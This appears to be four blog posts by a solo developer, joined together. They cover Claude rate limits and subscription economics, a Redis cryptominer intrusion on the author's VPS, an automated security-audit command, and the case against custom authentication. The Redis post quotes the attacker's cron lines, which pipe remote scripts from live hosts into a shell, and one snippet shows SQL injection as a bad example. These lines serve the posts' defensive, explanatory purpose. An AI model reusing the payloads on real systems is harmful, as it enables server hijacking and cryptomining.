Three weeks ago, I wrote that Anthropic is losing money on every subscriber and that smart developers should ship like crazy before the economics normalize.

I was right about the thesis. I was wrong about the timeline.

The window isn’t closing in 18-24 months. It’s closing now.

What Changed in Three Weeks

Three things happened in rapid succession that accelerated the timeline:

1. Claude subscriptions doubled. Anthropic’s paid user base went from ~30k to ~60k subscribers between January and March 2026. Record growth. The Claude Code launch, Super Bowl buzz, and Cowork tools drove a wave of new signups.

2. Rate limits got brutal. Users on r/ClaudeAI went from “this is amazing” to “I can’t work” practically overnight. Pro users ($20/month) report hitting 10% of their daily quota from a single prompt. Max users ($100-200/month) report the same degradation. One Max 20x subscriber — paying $200/month — couldn’t work for nine consecutive days.

3. The source code leaked. On March 31, 2026, a 59.8 MB source map file was accidentally shipped in the Claude Code npm package. 512,000 lines of TypeScript, mirrored across GitHub within hours. And buried in that code was proof of something users had been complaining about for weeks.

The Token Drain Bug

Here’s what the leak revealed.

Claude Code has a function called db8 that filters what gets saved to session files. For non-Anthropic users, it strips out all attachment-type messages — including deferred_tools_delta records that track which tools the model already knows about.

When you resume a session, Claude Code scans your history to figure out what tools it already announced. But because db8 nuked those records, it finds nothing. So it re-announces every deferred tool from scratch. Every. Single. Resume.

This breaks prompt caching in three ways:

• System reminders shift positions in the message array

• The billing hash changes because the first message content differs

• The cache breakpoint moves because the array length is different

Result: your entire conversation rebuilds as cache_creation tokens instead of hitting cache_read. The longer the conversation, the worse the drain.

One user patched the two-line fix and posted it. His 5-hour usage dropped from spiralling out of control to 6% — normal levels. The post got 367 upvotes. A sharp commenter noted the patch also bypasses billing controls on cache TTL, which makes it not just a bug fix, but let’s set that aside.

Here’s the uncomfortable part: this bug was burning tokens silently for weeks. Users were complaining about rate limits. Anthropic’s status page showed “no incidents.” And the actual cause was a caching bug in their own client code.

The Math Doesn’t Work

Let’s do the numbers.

Anthropic’s annualized revenue is roughly $14 billion. Claude Code alone accounts for $2.5 billion of that run rate — up from $500 million just three months earlier. Consumer subscriptions generated about $1.2 billion in 2025, with 1,000%+ year-over-year growth.

Sounds great, right? Until you look at the other side of the ledger.

Anthropic burned approximately $5.2 billion in 2025. They’ve committed over $80 billion in cloud infrastructure costs through 2029. They just raised $30 billion in a Series G at a $380 billion valuation — the second-largest private tech financing ever, behind only OpenAI.

They’re buying compute at a staggering scale: 1 million Google TPUv7 chips (~$52 billion deal), a dedicated 1,200-acre AWS data center campus in Indiana ($11 billion), and a $50 billion deal with Fluidstack for facilities in Texas and New York. Total committed compute: over 2 gigawatts.

All of this is funded by venture capital and strategic investors (Amazon’s $8B+, Google’s $3B+). Not by your $20/month Pro subscription.

Anthropic projects positive free cash flow by 2027-2028. That’s the plan. But plans require the revenue to actually materialize, the compute to come online in time, and the unit economics to hold as usage scales.

Right now, 60,000 subscribers are overwhelming the existing infrastructure so badly that paying customers can’t work.

The Subsidy Is Collapsing Under Its Own Success

Here’s the dynamic I didn’t fully appreciate three weeks ago.

The subsidy doesn’t end with a price increase. It ends with degradation.

Anthropic can’t raise prices on Pro from 20to20to50 tomorrow — that would cause a revolt and hand users to OpenAI and Google. But they can let the service get worse at the current price. Tighter rate limits. More frequent throttling. Peak-hour queuing. Features that work “sometimes.”

This is exactly what’s happening.

The math is simple. Double the subscribers on the same compute = everyone gets half the capacity. As one Reddit user put it: “selling more seats on the same plane and wondering why legroom is shrinking.”

And Anthropic isn’t alone. Google slashed Gemini API free tier quotas by 50-92% overnight in December 2025. One developer went from 300M+ input tokens per week to hitting limits at less than 9M. OpenAI’s ChatGPT Pro at $200/month is the only major offering that effectively removes caps — but at ten times the price of a Pro subscription.

The pattern across the industry: subsidized tiers are getting squeezed. The compute costs are real. And the bill always comes due.

Why I’m Not Hitting Limits (And You Might Not Be Either)

Here’s a mystery. Despite all this chaos, I’ve barely noticed the rate limits. After reading the threads and the leaked source code, I think I know why.

I almost never resume sessions. The biggest token drain fires on session resume. My workflow — fresh sessions, agent registration per session, structured CLAUDE.md — accidentally dodges this bug entirely.

Surgical prompts. I don’t say “explore my codebase.” I say “read this file and fix this function.” My beads-based task tracking means every session has a specific objective. No wandering. No 94k-token “Explore” runs.

Time zone arbitrage. IST puts my working hours outside US peak times. When r/ClaudeAI is screaming about rate limits at 2 PM Eastern, it’s midnight for me. I’m coding at 6 AM IST when San Francisco is asleep.

Structured context. Between CLAUDE.md, ARCHITECTURE.md, and explicit file paths, Claude doesn’t need to discover my codebase. It already knows the layout. That’s 90% less indexing work.

This isn’t luck. It’s workflow design. But it reinforces the point from my original post: the subsidy rewards those who use it efficiently. Wasteful usage — open-ended exploration, resumed conversations, vague prompts — burns tokens at 10-50x the rate of focused work.

What This Means For You

If you read my original post and thought you had 18-24 months — you might, on paper. Anthropic has the cash. They have the compute commitments. They project 70billioninrevenueby2028and70billioninrevenueby2028and17 billion in free cash flow.

But the experience of using the product is degrading right now. Not in 18 months. Now.

Here’s what actually matters:

1. Ship before the experience degrades further. The window isn’t about pricing — it’s about capability per dollar. Today, $20/month gets you frontier model access that would have cost $500/month in API calls two years ago. That ratio is moving in the wrong direction as more users pile in.

2. Optimize your workflow. Start fresh sessions. Use CLAUDE.md and ARCHITECTURE.md. Be specific in your prompts. Avoid “Explore” and open-ended commands. These aren’t just productivity tips — they’re rate limit survival strategies.

3. Don’t build on the assumption of unlimited AI access. If your product or workflow requires constant frontier model access at current prices, you’re building on borrowed time. Build systems that work with AI but can degrade gracefully. Ship products that generate revenue independent of your development tools.

4. The enterprise pivot is coming. Anthropic’s enterprise revenue is already 80% of total. They have 300,000+ business customers, with large accounts (>$100K ARR) growing 7x year-over-year. Follow the money: consumer subscriptions are the loss leader. Enterprise is the business. When push comes to shove, enterprise gets the compute.

The Real Lesson

The leaked source code is a metaphor for the entire AI subsidy era.

For weeks, users were burning through rate limits at impossible speeds. They blamed themselves (”skill issue”), they blamed Anthropic (”fix your limits”), they blamed the model (”Claude got dumber”). The actual cause was a two-line bug in a caching function that nobody could see because the code was proprietary.

That’s the subsidy in miniature. You’re using a product where you can’t see the internals, can’t predict the costs, and can’t control when the rules change. The value is extraordinary — right now. But you’re a guest in someone else’s infrastructure, running on someone else’s VC money, subject to someone else’s capacity planning.

The smartest move hasn’t changed since three weeks ago. Ship. Build durable assets — products, content, audiences, skills — while the arbitrage is still available.

But do it faster than you planned. The window isn’t closing in 18 months.

The glass is already cracking.

This month the cryptominer came for me.

Saturday night. Tamil movie with my wife. Sentry pings: “Write against read-only replica.” Seventy-four times in two hours.

My first instinct was to ignore it. Background task failures. Probably a blip. But seventy-four errors is not a blip. That’s someone inside your house rearranging the furniture.

“Two minutes,” I told my wife. (Spoiler: It was not two minutes.)

The Dumbest Thing I’ve Done in 20 Years

I run a scheduling service — Celery task queue backed by Redis, deployed with Kamal on a Hetzner VPS. Standard solo dev stack. The kind of thing I literally help people set up.

Here’s the confession: Redis port 6379 was exposed to the public internet. No password. No authentication. For months.

I copied a deployment config. It worked. I shipped. I moved on to the next feature. Sound familiar?

An automated scanner found it. At 22:25 UTC, IP 46.19.137.194 sent a SLAVEOF command — telling my Redis to replicate from their command-and-control server. My Redis complied. For five seconds it went read-only, Celery workers started screaming, and the attacker planted two keys:

backup1: */2 * * * * root curl -fsSL http://natalstatus.org/ep9TS2/ndt.sh | sh
backup3: */4 * * * * root curl -fsSL http://103.79.77.16/ep9TS2/ndt.sh | sh

Cryptominer installation scripts. Every two minutes. On my $12/month VPS.

The payloads never made it to crontab — the attack chain didn’t complete. But they were sitting in my Redis like loaded guns.

The Twenty-Minute Fix

Remove the public port mapping. Add a password. Done.

# Before: come one, come all
redis:
  port: 6379
  cmd: redis-server --appendonly yes

# After: invitation only
redis:
  cmd: redis-server --appendonly yes --requirepass <32-char-password>

Then ufw deny 6379/tcp, block the attacker IPs, delete the malicious keys. Sentry goes quiet. Movie resumes.

Twenty minutes to fix. Thirty seconds to have prevented.

The Pattern I Keep Seeing

Here’s what gets me. Last month it was a client — Next.js RCE, CVSS 10, dependency they forgot to update. This month it’s me — a port mapping I forgot to question.

Neither attack was sophisticated. Both exploited the gap between “it works” and “it’s secure.” The gap that widens every time you’re shipping fast, solo, with three other things on your plate.

When you’re the entire engineering team, you’re also the entire security team. There’s no infra review. No SOC watching at 10 PM. It’s you, your monitoring, and whatever defaults you didn’t question.

I’ve been doing infrastructure for twenty years, and I still shipped an unauthenticated Redis to production. Because the config worked and I had features to build.

This Is Why I’m Building VMKit

Every time I deploy something to a VPS, I’m making fifty decisions that could go wrong. Port mappings. Firewall rules. Authentication. TLS. Container networking. Every one of them is a potential Saturday night incident.

VMKit is my answer to this. Railway-like deployment experience on your own infrastructure — but with sane defaults baked in. No exposed ports unless you explicitly ask for them. Internal networking by default. The kind of guardrails that would have prevented this entire post from existing.

Because solo devs shouldn’t have to be security experts to deploy a Redis instance. The tooling should handle the boring, critical stuff so you can focus on the features that actually make money.

I’m building it because I keep shooting myself in the foot, and I’m tired of the limp.

Your Five-Minute Audit

If you’re running Redis, PostgreSQL, MongoDB, or Elasticsearch on a VPS right now:

1. docker compose config | grep -i port — anything bound to 0.0.0.0? Kill it unless it needs public access.

2. Add authentication to everything. Redis doesn’t require a password by default. This is unhinged, but here we are.

3. Set up Sentry or equivalent. Without error monitoring, I’d have a cryptominer running and a confused electricity bill.

4. ufw status. If the output surprises you, that’s your sign.

5. Default deny. Allow only 22, 80, 443. Everything else is closed until you need it.

The attacker didn’t use a zero-day. They used Shodan, an open port, and my negligence. That’s the most common attack vector for solo-deployed SaaS, and it’s entirely preventable.

Don’t be me on a Saturday night. Five minutes. Audit your configs.

Your future self — and your wife — will thank you.

You’re moving fast. AI is writing code. You’re shipping features daily. But speed creates blind spots—and security vulnerabilities love blind spots.

I’ve watched developers ship vibe-coded projects that worked but had SQL injection holes, exposed API keys, and broken authentication. Not because they were careless—because they were solo and didn’t have time to review every line AI generated.

Here’s the truth: you can’t manually audit everything. But you can automate the audit.

Why Incremental Reviews Aren’t Enough

Tools like /security-review catch issues in pull requests. That’s great for new code. But what about legacy code? Configurations that haven’t been touched in months? Dependencies with known CVEs?

Incremental reviews are daily vitamins. Full audits are annual physicals. You need both.

What a Security Audit Should Cover

A comprehensive security audit doesn’t just scan for SQL injection. It evaluates your entire attack surface against industry-standard frameworks:

• OWASP Top 10 2021 — Broken access control, cryptographic failures, injection attacks
• OWASP API Security Top 10 2023 — Broken object-level authorization, mass assignment, security misconfigurations
• Cloud & Infrastructure Security — Misconfigured S3 buckets, exposed environment variables, weak IAM policies
• Supply Chain Security — Vulnerable dependencies, outdated packages, insecure third-party integrations

The Four Layers of a Proper Audit

1. Reconnaissance: Understanding Your Stack

Before auditing, the tool needs to know what you’re running: Node.js? Python? Docker? Postgres or MongoDB? Framework: Express, FastAPI, Next.js?

This determines which vulnerability patterns to look for. SQL injection matters in Postgres apps. NoSQL injection matters in MongoDB apps. Different stacks, different attack vectors.

2. Code Analysis: Finding Hidden Vulnerabilities

This is where the audit scans every file—not just recent changes—looking for patterns that indicate security issues:

• User input flowing directly into database queries (SQL/NoSQL injection risk)
• Hardcoded secrets or credentials in code
• Missing authentication checks on sensitive endpoints
• Weak cryptography (MD5, SHA1) for passwords or tokens
• Overly permissive CORS policies
• Exposed debug endpoints in production

// BAD: SQL injection vulnerability
app.get('/user', (req, res) => {
  const userId = req.query.id;
  db.query(`SELECT * FROM users WHERE id = ${userId}`); // Dangerous!
});

// GOOD: Parameterized query
app.get('/user', (req, res) => {
  const userId = req.query.id;
  db.query('SELECT * FROM users WHERE id = ?', [userId]);
});

3. Configuration Review: Infrastructure Security

Code vulnerabilities are obvious. Configuration vulnerabilities are subtle:

• Are environment variables properly isolated?
• Do Docker containers run as root? (They shouldn’t.)
• Are cloud storage buckets publicly accessible?
• Is TLS enforced on all endpoints?
• Are rate limits configured to prevent abuse?

These issues don’t show up in code reviews. They live in config files, environment variables, and infrastructure settings.

4. Dependency Scanning: Supply Chain Vulnerabilities

Your code might be secure, but your dependencies might not be. Audit tools scan package.json, requirements.txt, and go.mod against databases of known CVEs (Common Vulnerabilities and Exposures).

If a package has a critical security flaw, you’ll know—and you’ll get specific remediation guidance (upgrade to version X.Y.Z).

How to Run an Effective Security Audit

If you’re using Claude Code, you can install a /security-audit slash command that automates this entire process. It performs reconnaissance, analyzes every file, reviews configurations, and scans dependencies—generating an actionable report.

The key difference from incremental reviews: it catches everything—even vulnerabilities in code you wrote months ago and haven’t touched since.

Installation

Global installation (available across all projects):

mkdir -p ~/.claude/commands
curl -o ~/.claude/commands/security-audit.md https://example.com/security-audit.md

Project-specific installation (for team collaboration):

mkdir -p .claude/commands
curl -o .claude/commands/security-audit.md https://example.com/security-audit.md

Running the Audit

From Claude Code, type:

/security-audit

The tool will:

1. Identify your tech stack
2. Scan every file for vulnerability patterns
3. Review configurations (Docker, env files, cloud settings)
4. Check dependencies against CVE databases
5. Generate a prioritized report with specific remediation steps

When to Audit

Use /security-review during daily development for fast feedback on pull requests.

Use /security-audit monthly or quarterly for comprehensive assessment—especially before major releases or when adding new features that touch sensitive data.

Think of them as complementary: one catches new issues, the other catches everything.

The 20% That Prevents 80% of Breaches

Most security incidents aren’t sophisticated zero-days. They’re basic misconfigurations: exposed API keys, missing authentication, unpatched dependencies.

A security audit catches these low-hanging issues—the 20% of configs that prevent 80% of breaches. You’re not trying to build Fort Knox. You’re trying to avoid being the easy target.

Security is a Discipline, Not a Feature

When you’re running solo, security feels like something you’ll “get to later.” But later turns into never—until something breaks.

Automate the audit. Run it regularly. Fix what it finds.

You don’t need a security team. You need visibility into what’s broken and specific guidance on how to fix it. That’s what a proper security audit provides.

Because the best time to find vulnerabilities is before attackers do.

Build your own user authentication from scratch. You’ll need:

• Signup forms

• Login forms

• Password hashing (securely!)

• Email verification flows

• Forgot password + reset logic

• Session management

• CSRF protection

• OAuth integrations (for when someone wants Google login)

• Rate limiting, logging, bot protection…

Fun yet? Probably not.

Now do all of that correctly. With zero bugs. And keep it updated for the next 5 years.

Still want to build it?

Auth Is a Trap for Smart Developers

It feels simple. A form, a database, a session cookie.

But auth is like an iceberg. Most of the complexity is invisible until it sinks your app.

You’re not just writing code. You’re handling identity, security, compliance, and user trust. All in a space where one misstep means leaked data or worse.

Services Exist for a Reason

There are entire companies (Auth0, Clerk, Supabase, WorkOS, Descope) dedicated to making auth usable and secure.

They’ve handled edge cases you haven’t even thought of. They obsess over MFA, token expiry, cookie flags, replay attacks. You just want users to log in.

So let them.

But What About Control?

If you need full control for regulatory or product reasons, sure — roll your own. But understand the cost.

It’s not just about writing code. It’s about:

• Maintaining that code

• Auditing it

• Scaling it

• Keeping up with evolving best practices

Most apps don’t need a custom auth system. They need working auth. Now.

The Boring Stuff Should Just Work

Building your own auth is like writing your own TLS implementation. It might be educational. It might even be fun. But it’s rarely the best use of your time.

Ship faster. Sleep better. Let someone else worry about the password reset flow.

Be the dev who ships products, not the one debugging cookie flags at 2am.

Unless you’re building the next Okta, stop building login boxes.